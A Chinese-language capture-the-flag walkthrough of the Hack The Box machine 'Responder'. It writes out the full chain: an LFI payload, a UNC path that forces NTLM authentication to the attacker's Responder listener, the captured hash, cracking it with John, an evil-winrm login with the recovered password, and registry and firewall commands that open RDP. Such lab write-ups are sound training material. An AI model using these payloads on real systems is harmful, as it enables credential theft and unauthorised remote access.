Responder

https://app.hackthebox.com/machines/Responder

知识点

获取flag

信息收集

  • 端口扫描发现开放了 80、5985 端口,并系统可能为windows

  • 80 端口提供了Apache服务和php的web应用程序

  • 5985 端口是WinRM服务的默认HTTP端口

  • 直接请求80端口,会跳转到地址 http://unika.htb/

  • 将域名unika.htb与提供的ip添加到 /etc/hosts 中解析以完成后续渗透

web渗透

  • 省略一些过程

  • 请求http://unika.htb/,在切换语言请求参数为 /index.php?page=german.html,根据参数判断为加载本地其他文件,可能存在文件包含漏洞

  • 请求 1.txt 查看有没有报错信息

  • 得到验证,再次请求 /index.php?page=C:/windows/system32/drivers/etc/hosts

  • 确认存在文件包含漏洞

使用Responder进行中间人攻击

  • 根据先前收集到的信息,目标可能为windows系统,结合php语言的文件包含漏洞,我们可以尝试通过Windows 的自动认证机制来窃取NTLM Hash

  • 使用命令 responder -I tun0 指定监听VPN的网卡

  • 构建请求完成NTLM窃取

  • (UNC路径)http://unika.htb/index.php?page=\\10.10.17.210\somefile\1.txt

  • 这里的ip是监听后VPN的IP,通过让目标主机对当前监听服务发起一次smb请求并使用自己的NTLM Hash返回

  • 在rensponder中查看监听到的NTLM Hash值

这里已经成功拿到了NTLM Hash值,但是根据前期端口扫描来看,我们没有直接登录目标的方式,结合目标开放的WinRM服务,我们尝试WinRM攻击

使用John解密NTLM Hash值

  • 将以上值保存到本地文件中

echo "Administrator::RESPONDER:b89b5bc8c46040d6:064C7DEB1CA1D4FDC6AF13F0C791103C:0101000000000000807FFAAA40BEDC01DAD11C4B0E7EE0BC0000000002000800520053003300340001001E00570049004E002D00370043004F005A00370048003900410056004F00550004003400570049004E002D00370043004F005A00370048003900410056004F0055002E0052005300330034002E004C004F00430041004C000300140052005300330034002E004C004F00430041004C000500140052005300330034002E004C004F00430041004C0007000800807FFAAA40BEDC01060004000200000008003000300000000000000001000000002000008FD121DC29FBB08456D9D90D898B9D052E8E40AAA8A1CDCCA8AA17623D74C7000A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310037002E003200310030000000000000000000" > hash.txt
  • 使用命令 john hash.txt 开始解密

  • 可以看到解密期间cpu使用率接近100%,静等一段时间

  • 经过漫长的等待,成功取得Administrator密码 badminton

获取目标权限

  • 使用 evil-winrm 获取目标权限

evil-winrm -i 10.129.51.59 -u Administrator -p badminton
  • 执行 whoami ,确定登录成功

  • 在Administrator用户的目录下没有找到flag,查看net user发现存在用户 mike

  • 最终在 C:\Users\mike\Desktop 目录中找到flag.txt,使用 type flag.txt 查看flag

玩一下

由于目标未开放3389端口,所以通过命令开启3389与远程桌面,以下操作与考核目标无关

  • 开启远程桌面

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
  • 开放3389端口

New-NetFirewallRule -DisplayName 'Allow RDP' -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Allow
  • 通过 remmina 远程连接目标